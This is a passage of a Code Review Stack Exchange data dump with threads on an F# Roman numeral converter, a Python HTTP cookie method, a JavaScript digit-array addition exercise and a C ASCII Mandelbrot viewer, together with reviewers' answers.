"Score": "1"
}
},
{
"body": "<p>Building on JanDotNet's answer, I've revised my code, and the result is as below. I have both rethought the algorithms and the overall design and flow. Especially the validation of input is changed to use the <code>Result<'T,'TError></code> type - and (I hope) conforms to the \"railway\" pattern.\nOne difference to JanDotNet's is that I return a roman numeral only if the input is valid, else I throw an exception, in contrast to returning a <code>Result<RomanNumeral, string> (Ok(RomaNumeral) or Error(\"<msg>\")</code>. There may be pros and cons for both approaches so it is open for change. I hope the overall impression is a solution that is considerable more stringent and easy to follow and maintain.</p>\n\n<pre><code>module RomanNumerals\nopen System\n\nlet I = 1\nlet V = 5\nlet X = 10\nlet L = 50\nlet C = 100\nlet D = 500\nlet M = 1000\n\ntype RomanNumeral = {\n Text: string;\n Value: int \n}\n\nlet private createRoman text value = { Text = text; Value = value }\n\nlet private toError<'a> msg (invalidItems: 'a seq) =\n Error(sprintf \"%s: %s\" msg (String.Join(\"; \", invalidItems)))\n\nlet private handleResult = function\n | Ok(rn) -> rn\n | Error(msg) -> failwith(msg)\n\nlet private tryGetValue = function \n | 'I' -> Some(I)\n | 'V' -> Some(V)\n | 'X' -> Some(X)\n | 'L' -> Some(L)\n | 'C' -> Some(C)\n | 'D' -> Some(D)\n | 'M' -> Some(M)\n | _ -> None\n\nlet private handleInvalids okResult msg invalids =\n match invalids |> Seq.isEmpty with\n | true -> Ok(okResult)\n | false -> toError msg invalids\n\nlet private validateNotEmpty str = \n if String.IsNullOrWhiteSpace(str) then Error(\"The input string is empty\")\n else Ok(str)\n\nlet private validateCharacters str = \n str \n |> Seq.map (fun ch -> (ch, tryGetValue ch)) \n |> Seq.where (fun (ch, v) -> v.IsNone)\n |> Seq.map fst\n |> handleInvalids str \"Invalid Characters\"\n\nlet private validateDuplicates str = \n let tests = [ 'V'; 'L'; 'D' ] \n str\n |> Seq.groupBy (fun ch -> ch)\n |> Seq.where (fun (key, data) -> tests |> List.contains key && data |> Seq.length > 1)\n |> Seq.map fst\n |> handleInvalids str \"These chars can only appear once\"\n\nlet private validateInvalidSequences str = \n [ \"IIV\"; \"IIX\"; \"IL\"; \"IC\"; \"ID\"; \"IM\";\n \"XXL\"; \"XXC\"; \"XD\"; \"XM\"; \"CCD\"; \"CCM\";\n \"IVV\"; \"IXX\"; \"XLL\"; \"XCC\"; \"CDD\"; \"CMM\" ] \n |> List.where ((string str).Contains)\n |> handleInvalids str \"Invalid sequence(s)\"\n\nlet private validateString str =\n str\n |> validateNotEmpty\n |> Result.bind validateCharacters\n |> Result.bind validateDuplicates\n |> Result.bind validateInvalidSequences\n\nlet private convertString str = \n let getValue ch = (tryGetValue ch).Value // We know by now, that it will return a valid value\n\n let folder (sum, prev) current = \n if (current > prev) then (sum + current - prev * 2, current)\n else (sum + current, current)\n\n let value = \n str\n |> Seq.map getValue\n |> Seq.fold folder (0, 0)\n |> fst\n\n createRoman str value\n\nlet private isNaturalNumber num = \n match num with \n | x when x > 0 -> Ok(num) \n | _ -> Error(sprintf \"%d is not a natural number > 0\" num)\n\nlet private validateNumber num = isNaturalNumber num\n\nlet private convertNumber num =\n let limits = \n [ (M, \"M\"); (M-C, \"CM\"); (D, \"D\"); (D-C, \"CD\"); \n (C, \"C\"); (C-X, \"XC\"); (L, \"L\"); (L-X, \"XL\"); \n (X, \"X\"); (X-I, \"IX\"); (V, \"V\"); (V-I, \"IV\"); (I, \"I\"); ] \n |> List.skipWhile (fun (v, s) -> v > num)\n\n let rec converter lims value result =\n match value, lims with \n | 0, _ -> result\n | _, (v, s)::_ when value >= v -> converter lims (value - v) (result + s)\n | _, _::tail -> converter tail value result\n\n createRoman (converter limits num \"\") num\n\nlet fromString str =\n str\n |> validateString\n |> Result.map (fun s -> convertString s)\n |> handleResult\n\nlet fromNumber num =\n num\n |> validateNumber\n |> Result.map (fun n -> convertNumber n)\n |> handleResult\n\nlet inline private romanOper oper (r1) (r2) = fromNumber (oper r1.Value r2.Value)\n// Extending with operators\ntype RomanNumeral with \n static member inline (+) (r1, r2) = romanOper (+) r1 r2 \n static member inline (-) (r1, r2) = romanOper (-) r1 r2\n static member inline (*) (r1, r2) = romanOper (*) r1 r2\n static member inline (/) (r1, r2) = romanOper (/) r1 r2\n static member inline (%) (r1, r2) = romanOper (%) r1 r2 \n</code></pre>\n\n<p><strong>Public Helper Functions</strong></p>\n\n<pre><code>// Returns the minimal representation of an input string roman expression\nlet asCanonicalRoman str = fromNumber (fromString str).Value\n\nlet romanRange start stop =\n let decStart = (fromString start).Value\n let decStop = (fromString stop).Value\n let step = if decStart <= decStop then 1 else -1\n seq { for dec in decStart..step..decStop do yield fromNumber dec }\n\nlet toString roman = sprintf \"%s <-> %d\" (roman.Text) (roman.Value)\nlet printRoman roman = printfn \"%s\" (toString roman)\n</code></pre>\n\n<p><strong>Test Cases</strong></p>\n\n<pre><code>printfn \"Numbers from 1 to 3999\"\nfor i in 1..3999 do\n let roman = fromNumber i\n let decimal = fromString roman.Text\n //if roman.Roman <> decimal.Roman || roman.Value <> decimal.Value then\n printfn \"%s <==> %s\" (toString roman) (toString decimal)\n\n\n\n//printfn \"\"\n//printfn \"From File: \"\n//let path = \"<your path>.p089_roman.txt\"\n//for line in File.ReadAllLines(path) do\n// let value = fromString line\n// let roman = fromNumber value.Value\n// if roman.Text <> value.Text || roman.Value <> value.Value then\n// printfn \"%s <==> %s\" (toString value) (toString roman)\n\n//printfn \"\"\n//printfn \"Operator testing:\"\n//let r1 = fromNumber 5\n//let r2 = fromNumber 3\n//printRoman(r1 + r2)\n//printRoman(r1 - r2)\n//printRoman(r1 * r2)\n//printRoman(r1 / r2)\n//printRoman(r1 % r2)\n\n\n//romanRange \"X\" \"C\" |> Seq.iter printRoman\n//romanRange \"C\" \"X\" |> Seq.iter printRoman\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T17:40:43.167",
"Id": "217633",
"ParentId": "217566",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "217617",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T17:18:59.167",
"Id": "217566",
"Score": "4",
"Tags": [
"recursion",
"functional-programming",
"f#",
"roman-numerals"
],
"Title": "Roman Numbers - The Functional Way"
} | 217566 |
<p>We would like for a code review for our Python code. The code is written in Python 3.7 and is part of a class handling HTTP cookies.</p>
<p>The code:</p>
<pre class="lang-py prettyprint-override"><code>class CookieJar(object):
def add_cookie_header(self, request):
w_r = WrappedRequest(request)
self.policy._now = self.jar._now = int(time.time())
# the cookiejar implementation iterates through all domains
# instead we restrict to potential matches on the domain
req_host = request.hostname
if not req_host:
return
if not IPV4_RE.search(req_host):
hosts = potential_domain_matches(req_host)
if '.' not in req_host:
l_req_host = "%s%s" % (req_host, '.local')
hosts += [l_req_host]
else:
hosts = [req_host]
Cookies = []
for hosti in range(len(hosts)):
if hosts[hosti] in self.jar._cookies:
Cookies.extend(self.jar._cookies_for_domain(hosts[hosti], w_r))
ats = self.jar._cookie_attrs(Cookies)
if ats:
if w_r.has_header("Cookie") == False:
w_r.add_unredirected_header("Cookie", "; ".join(ats))
self.processed = self.processed + 1
if self.processed % self.check_expired_frequency == 0:
# This is still quite inefficient for large number of Cookies
self.jar.clear_expired_cookies()
</code></pre>
<p>The class <code>CookieJar</code> has other fields and methods, obviously, but they shouldn't be reviewed, so they're not provided here.
You can assume all required imports are present at the top of the file and all referenced methods and fields do exist.</p>
<p>How can we make our code more elegant, efficient and maintainable?</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T09:32:23.353",
"Id": "421017",
"Score": "1",
"body": "While you claim that all needed fields exits, you don't say what type they are. This can make all the difference, e.g. in a call like `if hosts[hosti] in self.jar._cookies`. in general we prefer to have as complete a piece of code as possible, for this exact reason."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T00:44:15.850",
"Id": "421121",
"Score": "0",
"body": "\"You can assume\" No no, assumptions are the root of all miscommunication. Please supply the imports and all referenced methods. There's a character limit of over 65k characters on Code Review questions, don't be afraid to use them."
}
] | [
{
"body": "<p>Since you are not showing a whole lot of the class itself, there is not to much fundamental to be done on the presented code.</p>\n\n<h2>Documentation</h2>\n\n<p>First, you should add documentation to your class and to its methods. Use the <code>\"\"\"...\"\"\"</code> to write those docstrings as recommended in the official <a href=\"https://www.python.org/dev/peps/pep-0008/#documentation-strings\" rel=\"nofollow noreferrer\">Style Guide</a>.</p>\n\n<h2>Style</h2>\n\n<p>The Style Guide also has a section on variable naming (<code>snake_case</code> is recommended). You're mostly following this convention, and that's also the reason why <code>Cookies</code> as variable name almost immediately caught my attention while first screening the code. The widely accepted convention is to only use names with the first letter capitalized for class names.</p>\n\n<h2>Looping</h2>\n\n<p>While I was at it, the following piece of code caught my attention next.</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>Cookies = []\nfor hosti in range(len(hosts)):\n if hosts[hosti] in self.jar._cookies:\n Cookies.extend(self.jar._cookies_for_domain(hosts[hosti], w_r))\n</code></pre>\n\n<p>Since <code>hosts</code> is a list, and you're not trying to do anything fancy on the elements themselves, this can be simplified to</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>cookies = []\nfor host in hosts:\n if host in self.jar._cookies:\n cookies.extend(self.jar._cookies_for_domain(host, w_r))\n</code></pre>\n\n<p>which I find easier to read.</p>\n\n<h2>String formatting</h2>\n\n<p>This snippet comes a little bit earlier in the code: <code>l_req_host = \"%s%s\" % (req_host, '.local')</code>. It uses the old-old Python string formatting using <code>%</code>. Since you specifically tagged your question as Python 3, I strongly recommend to make use of the new f-string synthax which allows you to write that same line as <code>l_req_host = f\"{req_host}.local\"</code>. <a href=\"https://realpython.com/python-f-strings/\" rel=\"nofollow noreferrer\">Here</a> is a nice blog post talking about all the different ways of string formatting in Python and their pros and cons.</p>\n\n<h2>if statements</h2>\n\n<p>Next up on my list would be <code>if w_r.has_header(\"Cookie\") == False</code>. In general there is no need to do <code>if sth == True</code> or <code>if sth == False</code> in Python. Both can be conveniently expressed as <code>if sth</code> or <code>if not sth</code>. Usually this will also allow someone to read the expression almost as if it was text. If that doesn't work, maybe think about the name of your bool variable.</p>\n\n<h2>Minor tweaks</h2>\n\n<p>At the moment the last thing I could come up with was to change <code>self.processed = self.processed + 1</code> to <code>self.processed += + 1</code> which saves you a few characters of typing in the future.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T19:31:53.000",
"Id": "217578",
"ParentId": "217567",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T17:19:46.313",
"Id": "217567",
"Score": "0",
"Tags": [
"python",
"python-3.x",
"http"
],
"Title": "Python code for handling HTTP cookies"
} | 217567 |
<p><strong>The task</strong></p>
<blockquote>
<p>You are given two non-empty arrays representing two non-negative
integers. The digits are stored in reverse order and each of their
items contain a single digit. Add the two numbers and return it as an
array.</p>
<p>You may assume the two numbers do not contain any leading zero, except
the number 0 itself.</p>
<p>Example: Input: [2,4,3] + [5,6,4] Output: [7,0,8]</p>
</blockquote>
<pre><code>const a1 = [2,4,3];
const a2 = [5,6,4];
</code></pre>
<p><strong>My imperative solution</strong></p>
<pre><code>function addTwoNumbers(a1, a2) {
const len = a1.length > a2.length ? a1.length : a2.length;
const res = [];
let memo = 0;
const sanitize = n => n ? n : 0;
for (let i = 0; i < len; i++) {
let sum = sanitize(a1[i]) + sanitize(a2[i]) + memo;
memo = sum > 9 ? sum % 9 : 0;
sum = sum > 9 ? sum % 10 : sum;
res.push(sum);
}
return res;
}
console.log(addTwoNumbers(a1, a2));
</code></pre>
<p><strong>My functional solution</strong></p>
<pre><code>const range = num => Array.from(new Array(num), (_, i) => i);
const addTwoNumbers2 = (a1, a2) => {
const sanitize = n => n ? n : 0;
const len = a1.length > a2.length ? a1.length : a2.length;
const {res} = range(len)
.reduce((acc,i) => {
let sum = sanitize(a1[i]) + sanitize(a2[i]) + acc.memo;
acc.memo = sum > 9 ? sum % 9 : 0;
sum = sum > 9 ? sum % 10 : sum;
acc.res.push(sum);
return acc;
}, {res: [], memo: 0,});
return res;
};
console.log(addTwoNumbers2(a1, a2));
</code></pre>
| [] | [
{
"body": "<p>From a short review</p>\n\n<ul>\n<li>I prefer to read short words or acronyms, so <code>len</code> -> <code>length</code> ideally</li>\n<li>Consider <code>Math.max()</code> to determine the lengthiest array</li>\n<li>From the challenge, it seems there is no need to sanitize anything</li>\n<li><code>addTwoNumbers</code> <- this name should give a hint that perhaps the approach is wrong</li>\n</ul>\n\n<p>This is my counter proposal:</p>\n\n<pre><code>const a1 = [2,4,3];\nconst a2 = [5,6,4];\n\nfunction addTwoNumbers(nl1, nl2) {\n\n function toNumber(digitList){\n return digitList.reverse().join('') * 1;\n } \n\n return (toNumber(nl1) + toNumber(nl2) + '').split('').reverse();\n}\n\nconsole.log(addTwoNumbers(a1, a2));\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T20:08:14.920",
"Id": "217580",
"ParentId": "217573",
"Score": "1"
}
},
{
"body": "<h2>Bug</h2>\n<p>Unfortunately both your functions return bad results for many input arguments. You don't carry.</p>\n<p>Both should return [0,1] however they return [0]</p>\n<pre><code>addTwoNumbers([1], [9]); // >> [0] wrong\naddTwoNumbers2([1], [9]); // >> [0] wrong\n</code></pre>\n<p>And the return for the following should be [6,0,1] but they return [6,6]</p>\n<pre><code>addTwoNumbers([9], [7, 9]); // >> [6, 6] wrong\naddTwoNumbers2([9], [7, 9]); // >> [6, 6] wrong\n</code></pre>\n<p>The reason is that you forget to deal with the carry.</p>\n<h2>To number?</h2>\n<p><a href=\"https://codereview.stackexchange.com/a/217580/120556\">Konijn's answer</a> is a tempting solution but will also fail as it is limited by JS Number.</p>\n<pre><code>addTwoNumbers([1,1,9,9,0,4,7,4,5,2,9,9,1,7,0,0,9], [1,9,9,0,4,7,4,5,2,9,9,1,7,0,0,9])\n</code></pre>\n<p>The correct answer is</p>\n<p>[2,0,9,0,5,1,2,0,8,1,9,1,9,7,0,9,9]</p>\n<p>However Konijn's solution incorrectly returns.</p>\n<p>[0,0,9,0,5,1,2,0,8,1,9,1,9,7,0,9,9]</p>\n<p>This is because the second number is <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER\" rel=\"nofollow noreferrer\"><code>Number.MAX_SAFE_INTEGER</code></a> above which you can not get a reliable result.</p>\n<h2><a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt\" rel=\"nofollow noreferrer\">BigInt</a></h2>\n<p>You could use a <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt\" rel=\"nofollow noreferrer\">BigInt</a> as its size is not limited.</p>\n<p>Big ints can be written with the suffix n</p>\n<pre><code> const big = 9907919180215090099079191802150900n; // Note the suffix n\n</code></pre>\n<p>To convert the reversed number to a big int</p>\n<pre><code> const a = [0,0,9,0,5,1,2,0,8,1,9,1,9,7,0,9,9,0,0,9,0,5,1,2,0,8,1,9,1,9,7,0,9,9];\n const big = BigInt(a.reverse().join(""));\n</code></pre>\n<p>Thus your function would be</p>\n<pre><code> const addTwoNumbers = (a, b) => (\n BigInt(a.reverse().join("")) + \n BigInt(b.reverse().join(""))\n ).toString().split("").reverse();\n</code></pre>\n<p>But that takes the puz out of puzzle me thinks.</p>\n<h2>Carry</h2>\n<p>The aim is to carry the remainder of each addition onto the next digit. This is fundamental to all <a href=\"https://en.wikipedia.org/wiki/Arithmetic_logic_unit\" rel=\"nofollow noreferrer\">ALU (Arithmetic Logic Units)</a> that are part of almost every modern CPU. (In the case of binary the carry is 1 or 0)</p>\n<p>So when you add two values 9 + 9 the result is 8 and carry 1. You then add the 1 to the next digit. If no digit add it to zero. The result is 18.</p>\n<p>The function is thus</p>\n<p>Example A</p>\n<pre><code>function addNumbers(a, b) {\n const sum = [];\n var i = 0, carry = 0;\n while (i < a.length || i < b.length || carry > 0) {\n carry += (a[i] ? a[i] : 0) + (b[i] ? b[i] : 0);\n sum.push(carry % 10);\n carry = carry / 10 | 0;\n i++;\n }\n return sum;\n}\n</code></pre>\n<p><strong>Note</strong> That it continues adding digits until the carry is zero.</p>\n<h2>Performance</h2>\n<p>I am not surprised that the big int solution is nearly 7 times slower than carry method (example A) above, but this is due to the <code>reverse</code>s, <code>join</code>s, and <code>split</code></p>\n<p>Big int are not fast (Very slow compared to standard JS numbers), doing the same sum on big int literals is only 5 times faster than the carry method (example A)</p>\n<h2>NOTES</h2>\n<p><a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt\" rel=\"nofollow noreferrer\">BigInt</a> is very new and you should check the browser for support before using it.</p>\n<p>Big int also sees the arrival of 64bit int arrays (YAY YAY YAY) <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigUint64Array\" rel=\"nofollow noreferrer\"><code>BigUint64Array</code></a>, <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt64Array\" rel=\"nofollow noreferrer\"><code>BigInt64Array</code></a> (sorry MDN has empty pages on these references)</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T23:08:26.380",
"Id": "217585",
"ParentId": "217573",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "217585",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T19:03:29.423",
"Id": "217573",
"Score": "1",
"Tags": [
"javascript",
"algorithm",
"programming-challenge",
"functional-programming",
"ecmascript-6"
],
"Title": "Sum of two numbers in array"
} | 217573 |
<p>As an exercise, I decided to try implementing a <a href="https://en.wikipedia.org/wiki/Mandelbrot_set" rel="nofollow noreferrer">Mandelbrot Set</a> viewer that produces ASCII images.</p>
<p>Small Example:</p>
<pre><code> ..
.......
...........
.............
..............
..........###.......
............######!........
...............%#####...............
...........!!.!.%#######..!..%.........
.........##.%###################!..#.....
............###########################.....
...... ...........!...############################!.....
........................###############################......
.......................####################################!..
........#....#.........####################################!...
.........!#########....!#####################################!..
............##############%.#####################################...
................!###############.####################################....
...................#######################################################.....
...................#######################################################.....
................!###############.####################################....
............##############%.#####################################...
.........!#########....!#####################################!..
........#....#.........####################################!...
.......................####################################!..
........................###############################......
...... ...........!...############################!.....
............###########################.....
.........##.%###################!..#.....
...........!!.!.%#######..!..%.........
...............%#####...............
............######!........
..........###.......
..............
.............
...........
.......
..
</code></pre>
<p><a href="https://gist.githubusercontent.com/carcigenicate/8ab8c59518ccad1dd2b3ba1e370c21ce/raw/db8cfafaab006b056cbe30a18b73ee7455c926c1/huge_mandelbrot.txt" rel="nofollow noreferrer">Huge Example (You may want to zoom out.)</a></p>
<p>I ended up playing around with a few new things here:</p>
<ul>
<li><p>I decided to try limiting my use of pointers to only the cases where it's absolutely necessary (like <code>set_complex</code>). I decided cleanliness was better than performance, and it seems to perform well anyways; even though it's using copies everywhere.</p></li>
<li><p>I opted to use snake_case, as that seems to be semi-idiomatic for C, and is far more readable than camelCase or lowercase.</p></li>
<li><p>I'm doing (very simple) file operations for the first time.</p></li>
<li><p>I decided to wrap <code>malloc</code> and <code>calloc</code> in <code>terminating_</code> wrapper functions that handle checking the returned pointer; terminating with a message if it's <code>NULL</code>.</p></li>
</ul>
<p>I'd like thoughts on anything here, though I'm especially interested in:</p>
<ul>
<li><p>Is there a better way of writing <code>char_for_iters</code>? The bulky branching seems less than ideal.</p></li>
<li><p>I've gotten a few suggestions that I should be using <code>1</code> instead of <code>sizeof(char)</code>. Is this really necessary/preferred though? I find I like the explicitness of having the type specified; even if it's not necessary.</p></li>
<li><p>Are my <code>terminating_</code> <code>malloc</code> and <code>calloc</code> functions at all a common idea? Or is it far more typical to have the handling inline in the code?</p></li>
</ul>
<hr>
<hr>
<p><code>helpers.h</code></p>
<pre><code>#ifndef HELPERS_H
#define HELPERS_H
#include <stdlib.h>
// Prints an error message to stderr if ptr is NULL
// Message is in the form "Could not allocate space for %s.".
void ensure_allocation(const void* ptr, const char* allocation_reason);
// Attempts to allocate the requested amount of memory and asserts the validity of the
// returned pointer using ensure_allocation before returning
void* terminating_malloc(size_t bytes, const char* allocation_reason);
void* terminating_calloc(size_t count, size_t bytes_per, const char* allocation_reason);
#endif
</code></pre>
<p><code>helpers.c</code></p>
<pre><code>#include <stdio.h>
#include <stdlib.h>
#include "helpers.h"
void ensure_allocation(const void* ptr, const char* allocation_reason) {
if (!ptr) {
fprintf(stderr, "Could not allocate space for %s.", allocation_reason);
exit(EXIT_FAILURE);
}
}
void* terminating_malloc(size_t bytes, const char* allocation_reason) {
void* ptr = malloc(bytes);
ensure_allocation(ptr, allocation_reason);
return ptr;
}
void* terminating_calloc(size_t count, size_t bytes_per, const char* allocation_reason) {
void* ptr = calloc(count, bytes_per);
ensure_allocation(ptr, allocation_reason);
return ptr;
}
</code></pre>
<hr>
<p><code>complex.h</code></p>
<pre><code>#ifndef COMPLEX_H
#define COMPLEX_H
typedef struct Complex {
double real;
double imaginary;
} Complex;
void set_complex(Complex* c, double real, double imaginary);
Complex new_complex(double real, double imaginary);
Complex copy_complex(Complex src);
// Overwrites out with the result of squaring c.
Complex square_complex(Complex c);
#endif
</code></pre>
<p><code>complex.c</code></p>
<pre><code>#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "complex.h"
#include "helpers.h"
// TODO: This should probably all be moved to the header for performance reasons
void set_complex(Complex* c, double real, double imaginary) {
c->real = real;
c->imaginary = imaginary;
}
Complex new_complex(double real, double imaginary) {
Complex c;
set_complex(&c, real, imaginary);
return c;
}
Complex copy_complex(Complex src) {
Complex copy;
copy.real = src.real;
copy.imaginary = src.imaginary;
return copy;
}
Complex square_complex(Complex c) {
double real = (c.real * c.real) - (c.imaginary * c.imaginary);
double imaginary = 2 * c.real * c.imaginary;
return new_complex(real, imaginary);
}
</code></pre>
<hr>
<p><code>iteraton.h</code></p>
<pre><code>#ifndef ITERATION_H
#define ITERATION_H
#include <stdlib.h>
#include "complex.h"
// Can be lowered to sacrifice accuracy for speed
#define STD_MAX_ITERATIONS 200
// Once this is exceeded, a number is bound to head off into infinity
#define STD_INFINITY_LIMIT 2
// Test how many iterations it takes for c to go to infinity when iterated
size_t test_point(Complex c, size_t max_iteration, size_t infinity_limit);
#endif
</code></pre>
<p><code>iteration.c</code></p>
<pre><code>#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include "iteration.h"
#include "complex.h"
// Returns the result of iterating current_complex once using the standard Mandelbrot iteration method
static Complex mandelbrot_iteration(
Complex initial_complex,
Complex current_complex) {
Complex sqrd = square_complex(current_complex);
return new_complex(
sqrd.real + initial_complex.real,
sqrd.imaginary + initial_complex.imaginary);
}
static bool is_under_limit(Complex c, size_t infinity_limit) {
// Numbers must be positive as they're being squared.
return (size_t)((c.real * c.real) + (c.imaginary * c.imaginary))
<= (infinity_limit * infinity_limit);
}
size_t test_point(Complex c, size_t max_iteration, size_t infinity_limit) {
Complex current_c = copy_complex(c);
size_t i;
for (i = 0; i < max_iteration; i++) {
if (is_under_limit(current_c, infinity_limit)) {
current_c = mandelbrot_iteration(c, current_c);
} else {
break;
}
}
return i;
}
</code></pre>
<hr>
<p><code>display</code> is the "text image" specific portion of the code. When/if I adapt the code to produce actual images, I'd write a separate <code>display</code> file to produce images instead of text.</p>
<p><code>display.h</code></p>
<pre><code>#ifndef DISPLAY_H
#define DISPLAY_H
#include <stdlib.h>
#include <stdio.h>
// Produces a formatted string representing a view of the Mandelbrot Set
char* format_mandelbrot_view(double lower_real,
double upper_real,
double lower_imag,
double upper_imag,
size_t chars_wide,
size_t chars_high);
// Prints a view returned by format_mandelbrot_view to the given file stream
void print_mandelbrot_view(FILE* stream,
double lower_real,
double upper_real,
double lower_imag,
double upper_imag,
size_t chars_wide,
size_t chars_high);
#endif
</code></pre>
<p><code>display.c</code></p>
<pre><code>#include <stdlib.h>
#include <stdio.h>
#include "helpers.h"
#include "iteration.h"
static char char_for_iters(size_t iters) {
if (iters >= 200) {
return '#';
} else if (iters >= 150) {
return '@';
} else if (iters >= 100) {
return '%';
} else if (iters >= 50) {
return '!';
} else if (iters >= 5) {
return '.';
} else {
return ' ';
}
}
char* format_mandelbrot_view(double lower_real,
double upper_real,
double lower_imag,
double upper_imag,
size_t chars_wide,
size_t chars_high) {
size_t buffer_size = (chars_wide * chars_high) + chars_high + 1;
char* buffer = terminating_calloc(buffer_size, sizeof(char), "complex format buffer");
double comp_width = upper_real - lower_real;
double comp_height = upper_imag - lower_imag;
double real_step = comp_width / (chars_wide - 1);
double imag_step = comp_height / (chars_high - 1);
size_t i = 0;
for (double y = lower_imag; y <= upper_imag && i < buffer_size - 1; y += imag_step) {
for (double x = lower_real; x <= upper_real && i < buffer_size - 1; x += real_step) {
size_t iters = test_point(new_complex(x, y),
STD_MAX_ITERATIONS, STD_INFINITY_LIMIT);
buffer[i] = char_for_iters(iters);
i++;
}
buffer[i] = '\n';
i++;
}
return buffer;
}
void print_mandelbrot_view(FILE* stream,
double lower_real,
double upper_real,
double lower_imag,
double upper_imag,
size_t chars_wide,
size_t chars_high) {
char* formatted = format_mandelbrot_view(lower_real, upper_real,
lower_imag, upper_imag,
chars_wide, chars_high);
fprintf(stream, "%s\n", formatted);
free(formatted);
}
</code></pre>
<hr>
<p><code>main.c</code></p>
<pre><code>#include <stdio.h>
#include <stdlib.h>
#include "display.h"
#define OUTPUT_PATH "./mandelbrot_output.txt"
void save_view_at(double lower_real,
double upper_real,
double lower_imag,
double upper_imag,
size_t image_width) {
FILE* file = fopen(OUTPUT_PATH, "w+");
if (file) {
print_mandelbrot_view(file,
lower_real, upper_real,
lower_imag, upper_imag,
// Halving the height because it looks best when
// width is 2 * height.
image_width, (size_t)(image_width / 2));
fclose(file);
} else {
printf("Cannot open file at %s", OUTPUT_PATH);
}
}
int main() {
save_view_at(-2, 1, -1.5, 1.5, 500);
printf("Saved...\n");
return 0;
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T12:19:37.457",
"Id": "421046",
"Score": "0",
"body": "I just realized that `copy_complex` can simply return the parameter since I only need a shallow copy anyways. Is this at all typical?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-20T21:22:36.830",
"Id": "421430",
"Score": "2",
"body": "c has complex numbers which might be helpful: https://en.cppreference.com/w/c/numeric/complex"
}
] | [
{
"body": "<p>The \"terminating\" allocators work well for small programs like this; in larger projects or libraries, we want to do something better than terminate the program when allocation fails. A common naming scheme (perhaps taken from Perl) is <code>malloc_or_die()</code> - that's slightly clearer about the behaviour. It's usual to end your error message (and indeed program output generally) with a newline:</p>\n\n<pre><code> fprintf(stderr, \"Could not allocate space for %s.\\n\", allocation_reason);\n</code></pre>\n\n<p>I'm not convinced that <code>ensure_allocation()</code> should be part of the interface of <code>\"helpers.h\"</code> - it could equally be a <code>static</code>-linkage function in the implementation.</p>\n\n<p>I'm surprised you're rolling your own complex number type rather than using the standard complex numbers introduced by C99.</p>\n\n<p><code>new_complex()</code> and <code>copy_complex()</code> are inconsistent in their approach: the former uses <code>set_complex()</code> to assign to the members, but the latter assigns directly. Both styles work, but it's easier to read if they're consistent. Alternatively, implement copy in terms of new:</p>\n\n<pre><code>Complex copy_complex(Complex src) {\n return new_complex(src.real, src.imaginary);\n}\n</code></pre>\n\n<p>Consider, though:</p>\n\n<pre><code>Complex copy_complex(Complex src) {\n return src;\n}\n</code></pre>\n\n<p>In other words, we can use plain <code>=</code> instead of calling a function.</p>\n\n<p>It's not clear why the <code>infinity_limit</code> should be an integer type. Since it's a limit on the magnitude of a floating-point value, it makes more sense for it simply to be a <code>double</code> itself and remove the cast. I measured no impact on speed with this change.</p>\n\n<p>When calling <code>calloc()</code> to create an array, it's better to use an actual element as argument to <code>sizeof</code>, rather than repeating the type name:</p>\n\n<pre><code>char* buffer = terminating_calloc(buffer_size, sizeof *buffer, \"complex format buffer\");\n</code></pre>\n\n<p>That way, if we ever change the type of the buffer, we only have one place that needs to change.</p>\n\n<p>We could avoid allocating the buffer at all, if we calculate each character and print immediately. That obviously requires a little restructuring of the functions, but is better than returning a pointer that the caller must free.</p>\n\n<p>I don't like the hard-coded output file name; I changed the code in my copy to print to <code>stdout</code> instead, so the user can redirect to any file.</p>\n\n<p>No need to cast when dividing <code>image_width</code> by two - the result is also <code>size_t</code>.</p>\n\n<p>The error messages ought to go to <code>stderr</code>, rather than <code>stdout</code> (this was correct in <code>ensure_allocation()</code>, so must just be an oversight in <code>main.c</code>).</p>\n\n<p>Pedantry: <code>int main(void)</code> to make the declaration a prototype, not <code>int main()</code>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-09-16T18:41:55.550",
"Id": "445491",
"Score": "1",
"body": "Thank you. I'm temporarily moved on from C, but when I return I'll go over this again."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-09-16T18:32:53.440",
"Id": "229133",
"ParentId": "217574",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "229133",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T19:17:40.213",
"Id": "217574",
"Score": "9",
"Tags": [
"beginner",
